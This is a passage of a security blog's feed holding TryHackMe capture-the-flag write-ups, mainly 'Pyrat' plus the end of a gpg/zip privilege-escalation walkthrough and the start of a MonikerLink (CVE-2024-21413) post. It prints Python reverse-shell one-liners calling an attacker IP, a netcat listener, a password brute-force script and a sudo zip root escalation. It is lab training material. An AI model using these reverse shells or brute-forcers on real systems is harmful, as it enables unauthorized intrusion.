&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Will run 3 OpenMP threads&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# alexandru (tryhackme) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1g 0:00:00:00 DONE (2025-12-29 14:01) 12.50g/s 13425p/s 13425c/s 13425C/s alexandru..trisha&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Use the &amp;#34;--show&amp;#34; op&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;it turns out we found the passphrase for the encryptions key, i.e, &lt;code&gt;alexandru&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now, lets get more action in the &lt;code&gt;skyfuck&lt;/code&gt; user of target machine&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg --import tryhackme.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg --decrypt credentials.gpg &lt;span style="color:#75715e"&gt;# enter the passphrase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# &amp;#34;tryhackme &amp;lt;stuxnet@tryhackme.com&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now, we have the password for the &lt;code&gt;merlin&lt;/code&gt; user&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su - merling &lt;span style="color:#75715e"&gt;# enter the pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# privilage escalation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -l &lt;span style="color:#75715e"&gt;# revals he has privilages on zip &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TF&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;mktemp -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo zip $TF /etc/hosts -T -TT &lt;span style="color:#e6db74"&gt;&amp;#39;sh #&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm $TF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id &lt;span style="color:#75715e"&gt;# reveals now you are root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /root/root.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;That&amp;rsquo;s it&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MonikerLink CTF - Jr Pentester - Tryhackme</title><link>https://silent-resistor.github.io/posts/monikerlink/</link><pubDate>Sat, 25 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/monikerlink/</guid><description>&lt;p&gt;This is a writeup for the MonikerLink room on tryhackme, which explores &lt;strong&gt;CVE-2024-21413&lt;/strong&gt; - a critical vulnerability in Mircrosoft outlook that allows remote code execution via malicious hyperlinks.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="what-is-cve-2024-21413"&gt;What is CVE-2024-21413?&lt;/h2&gt;
&lt;p&gt;CVE-2024-21413 is a vulnerability in Microsoft outlook that bypasses protected view by usin ga specially crafted &lt;code&gt;file://&lt;/code&gt; URL with a &lt;code&gt;!&lt;/code&gt; character. When a victim clicks thelink, it can leak NTLM credentials or execute code.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="exploit-script"&gt;Exploit Script&lt;/h2&gt;
&lt;p&gt;The following python script sends a phishing email with a malicious link to trigger the vulnerability&lt;/p&gt;</description></item><item><title>Pyrat CTF - Reverse shell - tryhackme</title><link>https://silent-resistor.github.io/posts/pyrat/</link><pubDate>Sat, 25 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/pyrat/</guid><description>&lt;ol&gt;
&lt;li&gt;scanned the ports with nmap using &lt;code&gt; /usr/lib/nmap/nmap -sS -sC -A --script vuln -oN pyrat.nmap 10.49.176.74&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;22, 8000 open&lt;/li&gt;
&lt;li&gt;didnt see any suspicious at the web server, just giving a simple text&lt;/li&gt;
&lt;li&gt;connectted to http server through telnet and tried for the reverse shell, and thought it may work&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="task-10"&gt;Task 1.0&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;telnet attack_ip &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Its executiting the python instructions. so, i intially tried a direct reverse shell, like below, but it never worked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# import os,pty,socket;s=socket.socket();s.connect((&amp;#34;ATTACKER_IP&amp;#34;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;#34;bash&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# then i tried with python single instruction without pty. and turns out it worked and got reverse shell on my listener (eg: nc -lvnp 4444)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import socket, os, pty; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;lambda s: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.connect&lt;span style="color:#f92672"&gt;((&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.205.164&amp;#34;&lt;/span&gt;, 4444&lt;span style="color:#f92672"&gt;))&lt;/span&gt;, &lt;span style="color:#f92672"&gt;[&lt;/span&gt;os.dup2&lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.fileno&lt;span style="color:#f92672"&gt;()&lt;/span&gt;, f&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; f in &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0, 1, 2&lt;span style="color:#f92672"&gt;)]&lt;/span&gt;, pty.spawn&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)))(&lt;/span&gt;socket.socket&lt;span style="color:#f92672"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;or
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import socket, os; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;lambda s: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.connect&lt;span style="color:#f92672"&gt;((&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.205.164&amp;#34;&lt;/span&gt;, 4444&lt;span style="color:#f92672"&gt;))&lt;/span&gt;, &lt;span style="color:#f92672"&gt;[&lt;/span&gt;os.dup2&lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.fileno&lt;span style="color:#f92672"&gt;()&lt;/span&gt;, f&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; f in &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0, 1, 2&lt;span style="color:#f92672"&gt;)]&lt;/span&gt;, os.system&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)))(&lt;/span&gt;socket.socket&lt;span style="color:#f92672"&gt;())&lt;/span&gt; &lt;span style="color:#75715e"&gt;# worked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-11"&gt;Task 1.1&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# listener side&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -lvnp &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# tried by seeing any suid binary, but its unlucky&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# find / -perm /4000 2&amp;gt;/dev/null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# after regouroous search, got a liitle insight, turns out its password for the think user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# make a better shell, intearactive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHELL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/bin/bash script -q /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#stty raw -echo &amp;amp;&amp;amp; fg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# find the pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /opt/dev/.git; cat config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-2"&gt;Task 2&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# tried to ssh the attack machine with the think user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh think@attack_ip 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-3"&gt;Task 3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;when we tried to connect to the http server, it seems like its asking credentials.&lt;/li&gt;
&lt;li&gt;i have tried entering the &amp;lsquo;admin&amp;rsquo;, it turns out asking the password.&lt;/li&gt;
&lt;li&gt;by taking this as chance, why cant i bruteforce&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# pyrat.py file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; socket
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;target_ip &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;10.48.128.93&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Target IP {CHANGE THIS}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;target_port &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Target port&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password_wordlist &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/usr/share/wordlists/rockyou.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;connect_and_send_password&lt;/span&gt;(password):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket &lt;span style="color:#f92672"&gt;=&lt;/span&gt; socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;socket(socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;AF_INET, socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;connect((target_ip, target_port))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sendall(&lt;span style="color:#e6db74"&gt;b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;admin&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#f92672"&gt;=&lt;/span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;recv(&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Server response after sending &amp;#39;admin&amp;#39;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;response&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Password:&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Trying password: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sendall(password&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#f92672"&gt;=&lt;/span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;recv(&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;success&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lower() &lt;span style="color:#f92672"&gt;or&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Server respondse for password &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;response&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Passwsd wrong&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Exception&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Error: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;e&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;finally&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fuzz_words&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(password_wordlist, &lt;span style="color:#e6db74"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;latin-1&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; passwords &lt;span style="color:#f92672"&gt;=&lt;/span&gt; f&lt;span style="color:#f92672"&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; password &lt;span style="color:#f92672"&gt;in&lt;/span&gt; passwords:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; password&lt;span style="color:#f92672"&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; connect_and_send_password(password):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Found correct password &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;wrong pass, &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;, reconnecting...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fuzz_words()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 pyrat.py &lt;span style="color:#75715e"&gt;# --&amp;gt; will give pass for the web shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc attack_ip &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Password: abc123
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Crunch</title><link>https://silent-resistor.github.io/resources/jr-pentester/crunch/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/crunch/</guid><description>&lt;ul&gt;
&lt;li&gt;Crunch can generate all possible combinations and permutations according to given criteria.&lt;/li&gt;
&lt;li&gt;Basic Usage:
&lt;code&gt;crunch &amp;lt;min&amp;gt; &amp;lt;max&amp;gt; [options]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;min&lt;/code&gt; and &lt;code&gt;max&lt;/code&gt; are minimu and maximum length of string you want the cruch to start.&lt;/li&gt;
&lt;li&gt;You can usually find the charset.lst file in the /usr/share/crunch directory if you have Crunch installed on your system.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="examples"&gt;Examples&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example1: Crunch displays a wordlist that starts at `a` and ends at `zzzzzzzz`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crunch &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
